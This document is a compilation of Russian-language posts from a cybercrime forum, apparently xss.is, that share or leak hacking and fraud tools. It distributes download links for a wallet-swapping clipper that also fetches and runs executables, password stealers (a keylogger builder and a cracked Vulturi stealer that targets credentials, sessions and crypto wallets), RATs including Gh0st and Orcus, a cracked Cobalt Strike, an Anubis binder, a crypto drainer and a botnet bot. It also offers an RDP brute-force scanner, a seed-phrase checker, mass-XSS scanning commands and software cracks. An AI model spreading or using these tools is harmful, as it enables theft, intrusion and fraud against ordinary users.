    def __init__(self):
        super().__init__("language")

    # implementation here

with open("input_path", "rb") as source_file:
    source = source_file.read()

passes = [
    StringEncryption(),
    ControlFlowFlattening(),
    #TrashGeneration(),
    NamesRenaming(),
    SomeOtherPass1(),
    SomeOtherPass2(),
]

for one_pass in passes:
    source = one_pass.visit(source)

with open("output_path", "wb") as output_file:
    output_file.write(source)

Вот, собственно, и всё. Желаю вам удачи и терпения в изучении алгоритмов обфускации и морфинга кода. Надеюсь, что моя маленькая библиотечка покажется вам удобной и полезной. Если что, репортите баги и задавайте вопросы. Эта статья была написана специально для вас, моего любимого комьюнити xss.is!

Автор: pepe
Источник: xss.is

Представляю вам бота который в автономном режиме может управлять множеством каналов в Telegram.

Бот имеет широкий спектр настроек:
- Авто копирования постов с донорских каналов
- Фильтр сигнатур канала (Авто определение сигнатуры на основе прошлых постов донора)

- Фильтр дубликатов (если множество доноров делает одинаковы пост - будет фильтровать)

- Фильтр рекламных постов (фильтр по словам и тегам, можно добавлять)

- Фильтр фото ( копирует все кроме фото)
- Фильтр видео (копирует все кроме видео)

- Фильтр альбомов (копирует все кроме альбомов)

- Фильтр текста (копирует медиа)

- Фильтр ссылок/гиперссылок (удаляет из текста)

- Уникализация скопированных постов с помощью ChatGPT (на любых языках)

- Перевод скопированного поста на 8 языков ( уникализиция применяется если включена)

Вы можете управлять неограниченным количество каналов и подключать к каждому каналу неограниченное кол-во доноров как источник потока информации.

Бот использует клиент и апи телеграм, что означает, что копировать посты можно даже с закрытых каналов.

Так же есть блок-лист слов, который можно пополнять с помощью команд в боте.

Можно добавить свою сигнатуру под каждый пост.

Проект написан полностью на Python.
Быстрый запуск с config.py
Управление полностью в Telegram.

Краткое руководство:
0. Настраиваем файл config.py
1. Запускаем бота
2. Добавляем его в наши каналы
3. Подписываемся на каналы откуда будет воровать посты
4. Пересылаем боту сообщение из нашего донора
5. Настраиваем донора как нам угодно
6. Включаем авто постинг
7. Наблюдаем!

До каждого донора и канала можно настроить персональные настройки.

Bablo​

Bablo (Бабло) - это инструмент командной строки, написанный на Go, предназначенный для кроулинга (crawl).
Github: https://github.com/grozdniyandy/bablo/

​

Червяк?​

Потому что работает рекурсивно.

На какой платформе/фреймворке это написано?​

Эта программа написана на языке программирования Go. Он использует стандартную библиотеку для различных операций и полагается на "colly" для скрепинга (scraping).

Для чего он используется?​

Этот инструмент используется для рекурсивного кроулинга данного домена. Я хотел создать XSS-сканер, которому вы просто указываете URL и нажимаете enter, и он выполняет всю работу. Если вы пентестер, вы должны знать, что в BurpSuite есть активный сканер, который может выполнять кроулинг и сканирование на наличие уязвимостей. Так, я решил сделать что-то подобное, но с открытым исходным кодом. Причина, по которой это кроулер, заключается в том, что в будущем его можно будет использовать вместе с другими инструментами и получить отличный результат.

Мусор​

Скорость?
Сами чекните.
Результат?
Продолжайте читать.

Минусы​

Как у каждого инструмента, у этого тоже есть свои минусы:

• После окончания работы, не остановится, так что лучше поставьте таймаут на 1-2 часа.
• Может внезапно перестать кроулить. Это либо из-за лимита на 1.000.000 ссылок, либо что-то не так пошло.

Использование​

Значит так, сижу я думаю, как бы после краулинга сделать это эффективным для находки скажем XSS, вспоминаю инструмент kxss. Но в нём недостатки, так что я отредактил под нашу нужду. (Инструмент конкурса краулер)
Сперва делайте краулинг с какой скоростью хотите:

Code:Copy to clipboard

./bablo -t 10000 https://example.com > domain1

Потом воспользуйтесь отредактированным kxss. Я просто отредактировал его, чтобы он принимал URL-адреса, таким образом ./kxss {URL} - так будет проще автоматизировать сканирование с большим количеством потоков.

Code:Copy to clipboard

cat domain1 | grep '=' | grep -v 'instagram\|facebook\|twitter\|linkedin\|reddit' | xargs -P1000 -I {} ./kxss '{}' > xss1

Как и то что написанно до этого, инструменты которые я пишу предназначены для массивного использования в основном. Скажем вам нужно просканировать большое кол-во доменов/субдоменов. То это для вас, но про таймаут не забываем.

Сорс Код​

https://github.com/grozdniyandy/bablo/

Примеры использования в реальной жизни​

Я хочу напомнить вам, что данное программное обеспечение предназначено только для легального использования.
Нашел уязвимости в ОСНОВНЫХ доменах некоторых мест включая ООН, сообщил им.

Кнопка бабло?​

Выше я привел один простой пример использования, можно использовать этот инструмент с разными инструментами для находки множества уязвимостей SQLi, SDE и тп

Ты утверждаешь что нашел, а результат?​

Я задумался над этим, на данный момент из всего что написано мною, этот может монеты принести как раз.

D03er said:

Пацаны, сделайте такой софт, чтобы туда вжух номер кошелька, кнопку клац, трах-теребох, бац-бац, и тебе монеты сыплют... Очень надо))

Click to expand...

Это основные домены, остальные в субдоменах.

​

XSSMnemo - Чекер Seed фраз BTC на баланс написанный на Python спецально для форума XSS.is

Click to expand...

Spoiler: Функционал

1. Проверка Seed фраз BTC на баланс
2. Запись результатов в txt
3. Многопоточность
4. Подключение прокси

Spoiler: Инструкция

1. Установите Python 3.10
2. Распакуйте архив с программой
3. Запустите Install.bat и дождитесь установки

4. Укажите прокси в файле Proxy.txt в формате log:pass@ip:port (прокси должны быть http формата IPv4)
5. Запустите Start.bat

6. Перетащите в консоль txt файл с Seed фразами и нажмите Enter

7. Выберете количество потоков (Не стоит ставить 999 или больше чем у вас есть Seed фраз, нужно ориентироваться на мощность вашего пк)
Теперь просто ждите результатов

Spoiler: Что такое Seed фразы?

Seed фраза - это список, состоящий из 12, 18 или 24 слов. Они нужны для того, чтобы безопасно восстанавливать и заходить в криптокошельки. Списки фраз, из которых состоит Seed фраза, могут отличаться в зависимости от криптовалюты.

Spoiler: Сколько времени я потратил на написание этого кода?

Я потратил 8 часов. Половину времени я потратил на изучение документации к разным библиотекам и выбору более подходящей, 2 часа на написание и 2 часа наблюдал, как мой компьютер лагает с запущенным PyCharm.

Spoiler: Минусы софта

Я не уверен в скорости работы софта, так как мой компьютер медленно работает при любых раскладах. Но по сути потоки работают правильно, и скорость должна быть удовлетворительной. Также я проверял софт только на Seed фразах только Exodus т.к нету возможности проверить с другими, но у всех кошельков BTC один и тот же словарь для генерации Seed фраз, так что должно работать корректно

Spoiler: Будет ли еще чекер Seed фраз, но на другие валюты?

Скорее всего нет. Если вы хотите больше валют и не тратить при этом деньги, то прочитайте документацию к библиотеке bitcoinlib. Она поддерживает работу не только с BTC, но и LTC, DASH, DOGECOIN. Я считаю, что указал достаточно понятно комментарии в коде, так что при желании вы сможете добавить другие валюты сами.

Spoiler: Сколько еще я собрался выпустить бесплатных софтов?

На данный момент я не уверен, что буду выпускать еще бесплатные софты в ближайшее время (по крайней мере, пока не кончится конкурс) по техническим причинам. Какие это причины? Мой 2-ядерный монстр с 6 ГБ ОЗУ не тянет нормальную работу PyCharm и VisualStudio, особенно если они запущены одновременно. Так что серьезные и тяжелые софты мне писать крайне неудобно, а насиловать свои нервные клетки мне пока не хочется. Но я не говорю, что совсем перестану что-то выпускать, я буду, просто чуть попозже, мне нужно отдохнуть от кода.

Spoiler: Ссылка на скачивание проекта


[ 4.6 KB file on MEGA

](https://mega.nz/file/1TlD0D4T#KzLnyrK_Ey2RimySVxbXSX7s18stn8NKila2q9ob7ns)

mega.nz

Spoiler: Подарок

В архиве уже будет парочка приватных прокси сроком на 30 дней, для большого количества Seed фраз этого не хватит, но всегда можете просто использовать их в интернет серфинге

Spoiler: Описание

You must have at least 0 reaction(s) to view the content.

Поцы сразу пишу не мое с хайда рф, c кейгеном какие то трабы мб кто поможет разобартся у меня почему то не хочет генерить лицуху пробывал на кали и на вин серваке.

Кейген юзаем через java -jar keygen.jar

с низу где api нужно зайти на вт взять api ключ вставить и указать линк

[ MEGA

](https://mega.nz/#P!AgDFzHeRmIC6TS1UOFE_JEj0AtzZ7OC80FZn4kacwzWyC13hsfgrVeqaYokavf2Tv_GsAg2ZKwpqUL86nRAWJvZ1BHRXcs_jRC24coJL8NRc8DZPF7AqgA)

MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 20GB now

mega.nz

pass: raidforums.com

образ швидоувс: <https://maltego-downloads.s3.us- east-2.amazonaws.com/windows/MaltegoSetup.v4.2.11.13104.exe>
сам образ мальтего шлинукс: <https://maltego-downloads.s3.us- east-2.amazonaws.com/linux/Maltego.v4.2.11.13104.deb>

Качаем еще 2 файла

[ com-paterva-maltego-rest.jar - AnonFiles

](https://anonfiles.com/ReJeM7A7o0/com-paterva-maltego-rest_jar)

 anonfiles.com

[ com-paterva-maltego-crypto.jar - AnonFiles

](https://anonfiles.com/X2J8M3A3o4/com-paterva-maltego-crypto_jar)

 anonfiles.com

2. Ставим мальту с образа те что выше

3. Переходим на винде C:\Program Files (x86)\Paterva\Maltego\v4.2.11\maltego- core-platform\modules либо линукс /usr/share/maltego/maltego-core- platform/modules/ и заменяем там эти файлы

4.

Жмет оффлайн активация

генерим серийник

Перебрасываем ключ в мальту

с мальты копируем реквест и копируем его в кейген

заполняем инфу ниже и главное API валдиное должно быть

Жмем генерейт ( здесь я хз у меня не робит либо кейген корявый либо еще что то)

добавляем лиц с кейгена в мальту

готово

Продажник
Видос
Кряк

P.S. Пароль местный.

https://dropmefiles.net/Kz2whUEW пароль xss.is

Hidden content for authorized users.

You must have at least 100 message(s) to view the content.

Склеек нет, автор я.

• Не требует админ прав
• Зависим от от .Net
• Автозагрузка через планировщик задач
• Подменивает кошельки BTC, ETH, XMR, LTC
• Стучит на IPLogger
• Скачивает и запускает ваш exe
• Вес 7кб

You must have at least 1 reaction(s) to view the content.

Кому нужны исходники сами достанете, без обфускации все.

​

Text Utils byGuron - тулза для работы с базами вида email:pass
Работает с любыми размерами файлов.
Все на виду и удобно несмотря на убогий интерфейс.

Hidden content for authorized users.

https://yadi.sk/d/BBVc_o5_3HhPcv | VT | HA

Начнём с того что автор не позиционирует данный продукт как продукт который стоит денег.
Автор начал писать данный софт от скуки и сейчас хотел бы поделиться ним на просторах интернета!
Скорее всего в будущем проект станет официально OPENSOURCE, ну разве что у автора мозгов прибавиться для исправления всех недочётов.

Функционал не то что-бы скудный, дизайн Вэб-Панели не то что-бы очень красивый.

АВТОР НЕ СОБРАЛСЯ ГОВОРИТЬ ЧТО ЕГО СОФТ ТОП А ВСЁ ОСТАЛЬНОЕ ГОВНО!
АВТОР ПРОСТО ДУМАЕТ ЧТО ДАННЫЙ СОФТ СТОИТ ВНИМАНИЯ ХОТЯ-БЫ АНДРЕЯ ИЗ 9-А!
АВТОР НЕ ЛИНУС ТОРВАЛЬДС, У ЕГО ЗНАНИЙ ТОЖЕ ЕСТЬ ПРИДЕЛ!

Ну а теперь немного о самом софте, пока детектов у софта нету, но автор знает что вы маленькие тушканчики первым же делом решите этот детект слить)

Как я уже сказал, автор не Линус Торвальдс и потому когда он говорит - "Я могу помочь вам поставить панель на сервер", то это не значит что он вам её купит, или починит проблемы на уже имеющемся хосте!

Малварь достаточно уникальная, связка C# + PHP. Ну как вы догадались у малвари есть Вэб-Панель с херовой тучей SQL инжектов. В будущем всё будет фикситься, если автор конечно захочет)

Ну и что-бы немного заинтересовать аудиторию, несколько скринов в студию!

Прошу не надо писать автору, что консольный вариант управления в панели не сильно устроит тушканчиков что насиделись в своих DarkComet 'ах и DarkCrystal RAT'ах. Автор будет пытаться сделать всё что-бы у таких тушканчиков розорвались жопы)

И ещё, автор пока не сделал билдер и готов всеми правдами и не только билдить вам билды лично!
Если вы хотите посмотреть на это чудо, то вам нужно перейти на Telegram канал данного софта(Не реклама)!

Hidden content for authorized users.

Telegram: https://t.me/kernel_rat_project

Ну а я говорю вам пока, потому что автор уже беситься так хочет писать обновление, всем до встречи!

Keylogger password stealer builder

Http троян записывает все, что вводиться с клавиатуры, буфер обмена, пароли, данные передаются на http сервер и складываются в архив.

Собирает пароли от браузеров:

7Star
Amigo
BlackHawk
Brave
Centbrowser
Chedot
Chrome Canary
Chromium
Coccoc
Comodo Dragon
Comodo IceDragon
Cyberfox
Elements Browser
Epic Privacy Browser
Firefox
Google Chrome
Icecat
K-Meleon
Kometa
Opera
Orbitum
Sputnik
Torch
Uran
Vivaldi

Click to expand...

чатов

Pigdin
Psi
Skype

Click to expand...

баз данных

DBVisualizer
Postgresql
Robomongo
Squirrel
SQLdevelopper

Click to expand...

Игры

GalconFusion
Kalypsomedia
RogueTale
Turba

Click to expand...

Git

Git for Windows

Click to expand...

Mails

Outlook
Thunderbird

Click to expand...

Maven Apache

Dumps from memory Keepass
Mimikatz method

Multimedia EyeCON

PHP Composer

SVN Tortoise

Sysadmin

Apache Directory Studio
CoreFTP
CyberDuck
FileZilla
FTPNavigator
OpenSSH
OpenVPN
PuttyCM
RDPManager
VNC
WinSCP
Windows Subsystem for Linux

Click to expand...

Wifi
Wireless Network

Autologon
MSCache
Credential Files
Credman
DPAPI Hash
Hashdump (LM/NT)
LSA secret
Vault Files

Автор: frfen

Скачать:

You must have at least 1 message(s) to view the content.

Сливаю склейщик Анубиса, который на експе продавали за 3к$

Как там писали в теме продажнике:
"Предлагается склейщик Анубиса с любым белым приложением. Цена 3К. Полный ФУД на вирустотале. Больше вам не нужно криптовать файлы!!! И кормить сервисы крипта.

Не знаю на сколько это так, я пробовал склеить Анубис с тем приложением, которое уже там было. Все ништяк, работает. С другими клеить не пробовал т.к. мне он без надобности.

Всяким там любителям халявы пишу, что не надо в теме или лс просить личный, даю только тем у кого немного не хватает до хайда, остальным просьба не писать.
Хайд делается для того, чтобы увидеть, скачать могли активные пользователи, которые приносят пользу форуму в его развитии.

You must have at least 100 reaction(s) to view the content.

Чтобы не писать всякий непотребный хлам, коим завален Даркнет, пытаюсь узнать у вас, как у опытного сообщества - какой софт сейчас действительно полезен и в цене?

Свободно владею С++, Python, PHP, JavaScript (Node.jc, Vue.js, React) со всей обвязкой.

Не ищу работу, просто интересует ваше мнение. Есть желание реализовывать качественный софт в недорогом паблик-сегменте ($100-$200)

Разработка старая, давно уже походила по форумам. Но потенциал который в данном софте заложен - не мал.

Есть 3 вкладки:

• Парсер поисковых систем

По умолчанию 5 поисковиков, парсить можно каждый по очереди (просто установив галочки).​

Имеется редактор поисковиков под парсинг - можно отредактировать существующие проекты, либо создать свои - к примеру под парсинг какого либо dating'а или freelance портала.​

Нет поддержки куков и не имеется поддержки прокси(кнопка есть - но сама функция не работает), многопоточный.​

• Парсер контента

Обычный парсер регулярками текста по загруженным ссылкам, в наличии сразу 5 регулярок, можно создавать свои в небольшом конструкторе, парсить сразу по всем. Поддержка cookies есть, прокси не поддерживаются, многопоточный​

• Текстовые утилиты

Обычные текстовые утилиты​

​

Скачать - https://cloud.mail.ru/public/2M5r/3A775gK91
Проверка на вирусы - https://www.virustotal.com/ru/file/...4865b3793ed28e1a482dc020/analysis/1512540516/

1)Сохранение блокнутых аккаунтов в отдельный файл
2)Пофиксил большую часть багов прошлой версии
3) Добавил обновление проксей по ссылке через опр. время (значение указывается в минутах !)
4) Чекает на колл. друзей и колл. групп где есть права : администратора , модератора , редактора
5) По многочисленным просьбам добавил лог в сам софт .
6) использовать функцию reBrute Captcha осторожно . Эта функция будет пробовать авторизоваться до тех пор пока вк не отдаст один из ответов : гуд , бед , ошибка .

Ах да , спасибо тем немногим кто кидает донат . Софт живёт только благодаря вам .

Скачать
ВирусТотал​

10 лучших сканеров уязвимостей для веб-приложений.
[Netsparker](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=). Это сканер, который поддерживает как обнаружение уязвимостей, так и их эксплуатацию. Выдает только подтвержденные уязвимости (после успешного тестирования и эксплуатации).

[ Burp Suite](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - это базовое программное обеспечение Java для сканирования уязвимостей веб-приложений. Он содержит различные инструменты, предназначенные для обнаружения и облегчения атаки. Бесплатная версия доступна с ограниченными возможностями, но может быть приобретена напрямую с годовой подпиской. Бесплатная версия предустановлена в ОС, созданных для тестирования на проникновение, включая Kali Linux.

[Nikto](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - это сканер веб-безопасности с открытым исходным кодом, который выполняет комплексное сканирование веб-серверов. Он может сканировать несколько элементов на серверах, в том числе файлы и версии самих серверов. Он также может проверять конфигурацию сервера, что делает его мощным инструментом для сканирования безопасности сервера и связанных с ним уязвимостей. Этот сканер так же предустановлен в Kali linux.

[W3af](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - известен как очень мощный и гибкий инструмент для поиска уязвимостей веб-приложений. Его простота в использовании сделала его популярным среди специалистов по безопасности и хакеров. W3af содержит множество веб-плагинов для поиска, оценки и эксплуатации web-уязвимостей на сайтах.

[Arachni](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - это полнофункциональная, модульная, высокопроизводительная среда Ruby, призванная помочь тестировщикам и администраторам оценить безопасность современных веб-приложений. Он бесплатный и с открытым исходным кодом (хотя как и многие тут описанные).

[WebScarab](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - то инструмент, доступный любому, кто хочет проверить работу HTTP/HTTPS-запросов в веб-приложении, что позволяет разработчику отлаживать работу ресурса, а специалисту по безопасности выявлять уязвимости в приложении или в дизайне приложения.

[Vega](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - это бесплатный сканер веб-безопасности с открытым исходным кодом и платформа для тестирования веб-безопасности. Работает как под Linux, так и под windows.

[Skipfish](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - еще один сканер web-уязвимостей, созданный никем как сам Google. Это самый популярный инструмент, который сканирует и подготавливает карту сайта путем рекурсивного сканирования в приложении. Полученная карта сайта в дальнейшем может использоваться для обнаружения различных уязвимостей.

[Acunetix](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - известен своей автоматизированной системой обнаружения уязвимостей, таких как внедрение SQL-кода, межсайтовый скриптинг, слабый пароль на страницах аутентификации и т.д. Благодаря своему интерактивному графическому интерфейсу он пользуется высоким спросом у специалистов по безопасности, так как в нем очень удобно готовить отчеты по аудиту.

[AppScan](https://vk.com/away.php?to=https%3A%2F%2Fwww.ibm.com%2Fsecurity%2Fapplication- security%2Fappscan&cc_key=) - сканер web-уязвимостей от фирмы с громким названием IBM. Этот инструмент способен обеспечить тестирование на протяжении всего цикла разработки веб-приложения. Многие профессиональные пентестеры используют этот инструмент для тестирования веб-приложения.

(В ознакомительных целях! Не несу ответственность за ваши действия!)

ButterFly Bot v1.30 Extended

один их продвинутых ботов, использовался при создании ботнет-сети Mariposa (бабочка), включавшей миллионы машин в 190 странах.
Из рекламного описания:
" BFBOT is the best bot you can buy for price sub 1000 EUR. It has stability, performance and reliability no other bot can provide. It is enough secure that you will never have to worry about skiddies stealing your bots. The spreading rate is the best out of any bot you can buy, and can each 10.000 or more newly infected PCs per day if you combine it with browsers exploit pack. The protocol is very reliable and proved to be much better choice than standard IRC. Besides minimum bandwidth needed to run the botnet, it also greatly reduces server side resources compared to IRC protocol. Therefore BFBOT server can hold around 4-5 times more bots! That is not all - you can configure server to give different commands to bots and command bots from certain country only. And when your botnet grows to 20.000 and more, polymorphism of the bot will take care it stays undetected!"

Spoiler: 3 у вас 43

http://rapidshare.com/files/392100130/BFBot.v1.3.0.Extended.Edition.with.Crack- LEAKiSO-2009.rar.html
MD5: 26965571BF44D6801A8BD64F8296A11F

Без какой-либо гарантии, непроверен. Нельзя исключать backdoor или потерю ботов. Стоит проверить на отладчике, например OllyDbg.

Gh0st RAT 3.6 source code ​

Для тех кто любит рытся в чужих кодах.исходники трояна Gh0st RAT 3.6 для золотоискателей хорошая находка. сделанно в Китае

Источник: www.secnull.INFO
[New$paN]

SCREEN: ​

[mod][GZip:] Линк битый. Прошу залить файл занова или найти рабочую ссылку, после чего обратится в администрацию форума.[/mod]

[mod][Одинокий Волк:] GZip, да он супермод он сам обновит, только когда будет хз, обычно по утрам он...[/mod]

СКАЧАТЬ​

проверьте пожалуйста прежде чем писать. Может точки после ЗИП не поставил или еще какая опечаточка чем орать на весь форум. Я никогда не выкладываю битые ссылки копипастом.

Господа всем привет! Сливаю вам драйнер SpaceX v2. Продают его за 2300$. ТС - обещает активную поддержку 24/7, но почему-то после покупки вас начинают игнорить. Обновления входят в стоимость - но почему-то обновлять софт никто не планирует. ))) Как-то так.

Ссылка - https://anonfiles.com/T8Ae8uio2z5/SpaceX_DRAINER_v2_zip

Мануал по установке - https://teletype.in/@elonlab/SpaceXDRAINERmanual

Так же помогу с установкой ) Телеграмм Savage_logs. Сессия или токс - ПМ.

Желающим отравить благодарность:
ETH - 0x0150D82DB1F4caea591f05AEd968c4b8fde2DDA9
BTC - bc1qrl5hmjyrf0g3nekuu4gcj39zu5zg86gwwycpft
USDT (trc20) - TJa1BCVQY5u2EQp6RRrYr686nQ5pU1zJ72

1.видео и скачать Orcus RAT v1.9.1
2.видео и Orcus hVNC PoC Release
p.s да если не работает убейте в диспетчере хром и все :lol2:

Download: https://bayfiles.com/O1w8Wek0z3/CobaltStrike48_pwn3rzs_cyberarsenal_7z
Password: Pwn3rzs
Mirrors:
- https://anonfiles.com/gcxdW3k7za/CobaltStrike48_pwn3rzs_cyberarsenal_7z
- https://gofile.io/d/hxVqIC

Macfly Antidetect (это формальное название) - на самом деле это набор аддонов (паблик) для андроида которое данный персонаж предлагает вам купить у него за 550$.

Скачать:

Hidden content for authorized users.

[ book(openinwordpad)(01.07).zip - AnonFiles

](https://anonfiles.com/31v5g7A6u9/book_openinwordpad_01.07_zip)

anonfiles.com

​

Вторая моя работа на форуме (крякинг) - парсера Datacol 7.341. То есть это универсальный парсер информации c веб-сайтов. Хотите собрать информацию о товарах интернет-магазина, контакты организаций, объявления по недвижимости, данные из соц. сети? Настройте новую кампанию с помощью мастера, нажмите кнопку Запуск и получите нужный результат. Более подробную информацию о программе можете почитать на официальном сайте программы.

В архиве расположены:

• Установщик программы = datacol7setup.exe
• Файл Loader.exe = его закинуть в папку с установленной программой и запускать через него софт.

Изменения в программе что были сделаны:

• Убрал проверку лицензии.
• Отрезал проверку обновлений.
• Убрал ограничение в 25 результатов.

Spoiler: Продажник (Оф. сайт)

Купить | Datacol

Страница покупки универсального парсера Datacol.

web-data-extractor.net

Скачать программу и лодырь к ней

You must have at least 50 message(s) to view the content.

Данный продукт продавался на малоизвестном форуме, в следствии чего получил очень мало продаж (со слов автора было продано 5 копий).Софт написан на C# и обладает довольно внушительным, хоть и по большей части не нужным функционалом(Половину софтов собираемых стиллером я просто не знаю).Браузеры собираются рекурсивно, расшифровка FireFox паролей происходит статически.Логи отправляются в панель, панель написана на python/flask.Лог собирается полностью в памяти, трафик между клиентом и панелью шифруется.В странах СНГ софт не работает.В целом, софт оправдывает свою стоимость в 95$

Spoiler: Продажник

Оригинальная тема: https://ufo****.net/threads/vulturi-2021-passwords- stealer.16440/

Spoiler: Полный список возможностей софта

- All chrome based browsers and profiles
- All firefox based browsers and profiles
- The traffic is encrypted
- Configurable file grabber
- Collecting the archive into memory
without writing any data to disk
- AntiAnalysis (VirtualBox, SandBox,
Host, RDP,
Emulator, Debugger, CIS country)

- Chrome stealer:
- Passwords
- CreditCards
- AutoFill
- Cookies
- History
- Downloads
- Keywords
- Bookmarks

- Firefox stealer:
- Passwords
- AutoFill
- Cookies
- History
- Bookmarks

- Messengers:
- Telegram (session)
- Unigram (session)
- Bettergram (session)
- WhatsApp (session)
- Element (session)
- Signal (session)
- Skype (session)
- Slack (session)
- RamBox (session)
- Psi,Psi+ (accounts)
- Paltalk (session)
- Facebook (contacts)
- TeamSpeak3 (account db)
- Discord (session, tokens)
- Viber (session, contacts)
- Pidgin (accounts, chatlogs)
- Wickr Me/Pro (session,username)

- Email clients:
- Spike (session)
- Outlook (accounts)
- FoxMail (session)
- TheBat! (session)
- PocoMail (session)
- OperaMail (session)
- MailSpring (session)
- SeaMonkey (accounts, cookies)
- Thunderbird (accounts, cookies)

- Password managers:
- 1Password (databases)
- KeePass2 (databases)
- NordPass (databases)
- BitWarden (databases)
- Dashlane (session)
- RoboForm (session)

- Apps:
- Git (credentials)
- Github Desktop (session)
- Ngrok (token)
- Authy (session)
- WinAuth (container)
- WinRar (history)
- Docker desktop (account)
- PHP-Composter (auth file)
- OBS Studio (broadcast keys)
- Utopia Ecosystem (encrypted account containers)

- VPN:
- OpenVPN (profiles)
- NordVPN (accounts)
- EarthVPN (account)
- ProtonVPN (session)
- PrivateVPN (session)
- Proxifier (profiles)
- NO-IP DUC (credentials)

- FTP/SSH:
- WinSCP
- CoreFTP
- TotalCmd
- FileZilla
- MobaXTerm
- SnowFlake
- mRemoteNG
- CyberDuck
- FarManager
- ApacheDirectoryStudio

- Gaming:
- Steam (ssfn, vdf, username, apps)
- Uplay (account information)
- BattleNet (account information)
- Origin (account information)
- KalypsoMedia (account)
- Osu! (session)
- SA:MP (username, servers)
- Minecraft (session tokens)
- VimeWorld (session)
- RedServer (session)
- LavaCraft (session)
- McSkill (session)
- LoliLand (account)

- CryptoWallets:
- DashCore
- MoneroCore

-BitcoinCore
- LitecoinCore
- Bitcoin Knots
- AtomicWallet
- GreenAddress
- Blockstream
- CoinWallet
- Armory
- Coinomi
- Electrum
- Ethereum
- Exodus
- Guarda
- Jaxx
- Zcash
- Wasabi
- BitPay
- Bither
- MyMonero

- System Info:
- Appslist
- Processlist
- Webcam screenshot
- Desktop screenshot
- Active windows screenshot
- Vault passwords (IE, RDP)
- Windows credential manager
- Networks (Saved, Scanning)

- HardwareInfo:
- Screen Resolution
- CPU name
- GPU name
- Manufacturer
- RAM amount
- Processor ID
- Disk serial
- BatteryInfo:
- ACPowerPluggedIn
- Percentage
- NetworkInfo:
- Get local IP
- Get public IP
- Get gateway IP
- Get BSSID
- OSInfo:
- Get OS name
- Get UI lang

Spoiler: Установка

Bash:Copy to clipboard

sudo apt install python3-pip
pip install flask
pip install timeago
pip install requests
pip install maxminddb
sudo python3 main.py

Не устанавливаете модуль через pip install -r requirements.txt , модуль uwsgi содержит лицензионную систему данной панели!

Установка панели:

Создание билда:

Скачать можно тут: <https://anonfiles.com/H8dcK129u8/VulturiCracked_lamp- ret.fun_zip>

RDP Solid Scanner - программа для сканирования диапазонов айпи, диапазонов портов, основанная на Масскане.

Особенность программы в том что после сканирования по диапазону портов ( например 3350-3500 ) вы сможете чекнуть на коннект по RDP-протоколу все найденные нестандартные открытые порты, тем самым вы сможете поймать чистые и не брученные сервера на рандомных портах.

Возможности программы:

- Сканирование IP как одиночных так и по диапазонам
- Сканирование портов как одиночных так и по диапазонам
- Чек найденных открытых IP:Port на коннект по РДП-протоколу.

Софт без привязки, то есть его можно использовать на неограниченное количество машин.

Тестирование производилось на Windows Server 2008 и Windows 7.
Рекомендуется чекать на РДП-коннект на компьютеры где не установлено обновление KB2592687 (ниже Windows 8). Если это обновление присутствует, удаляйте ее. Google подскажет как удалять ненужные обновления Windows.

При тестировании в диапазоне 3350-3500 портов где-то 30-40 % найденных серверов были с нестандартными портами RDP.

Также для самого актуального брута RDP Brute by Z668, который не принимает списки IP:Port, сортировщик портов, с которым после скана/чека, сможете разбить IP по файлам, в соответствии с их портами.

1.в бою тыц
2.скачать тыц

Думаю, самое время слить не самых сложных, но вполне достойных и работоспособных ботов под ваш магазин в Тг. Создание подобного с нуля обойдется в 5-10к рублей - оно вам надо? Если можно скачать это бесплатно.

В комплект входят:
1. Универсальный бот-магазин
2. Бот под продажу ответов ОГЭ и ЕГЭ
3. Бот под продажу снюса

Работать по-белому или скамить даунов - решать только тебе!

Hidden content for authorized users.

Файл из Облака Mail.ru

Облако Mail.ru - это ваше персональное надежное хранилище в интернете.

cloud.mail.ru

Spoiler: Описание

Y Browser - Софт предназначенный для ускорения и облегчения работы с cookies. Это обычный chrome, чуть более безопасный с точки зрения анонимности, с возможностью импорта cookies в разные сессии, то есть вы можете начать 2 разные сессии с разными или одинаковыми cookies. У программы есть встроенный конвертер из netscape формата, то есть прежде чем начать работу с cookies вам не нужно ничего конвертировать менять и редактировать, просто загружаете файл с cookies в том формате, в котором хотите JSON или Netscape.

Пример Netscape cookies:

Code:Copy to clipboard

www.googleadservices.com    FALSE    /pagead/conversion/978575253/    FALSE    1568051618    Conversion    EhMIxMr3z__h4gIVEUMYCh2lhACzGAEgrMCm0oiptPGFAUgBkAHwlOu9hQmYAQQ
.zaka-zaka.com    TRUE    /    TRUE    1591815966    __cfduid    d62ff7ab4f70a9ba4950135e735108e3c1560279966
www.googleadservices.com    FALSE    /pagead/conversion/774124383/    FALSE    1568056026    Conversion    EhMIl4PAhZDi4gIV1MAYCh3LHgnqGAEg-paI8rb6xfFNSAGQAcu_1eivCJgBAA
.gta-nakrutka.ru    TRUE    /    FALSE    1623352031    _ga    GA1.2.1160236597.1560280027
.gta-nakrutka.ru    TRUE    /    FALSE    1568056027    _gac_UA-130980994-1    1.1560280027.EAIaIQobChMI28mDhJDi4gIVkeiaCh19KgB6EAAYAiAAEgKBQvD_BwE
gta-nakrutka.ru    FALSE    /    FALSE    1591816048    jv_visits_count_AGfow6fGlj    1
www.googleadservices.com    FALSE    /pagead/conversion/829022076/    FALSE    1568057040    Conversion    EhMI17Oj6ZPi4gIVx8CyCh3F3wTrGAEgt-uXtoe_wJVgSAGQAdj-k6r_CJgBBA
.imrworldwide.com    TRUE    /    FALSE    1593978809    IMRID    44a32704-ef8d-4f55-bd56-61d040fe7899
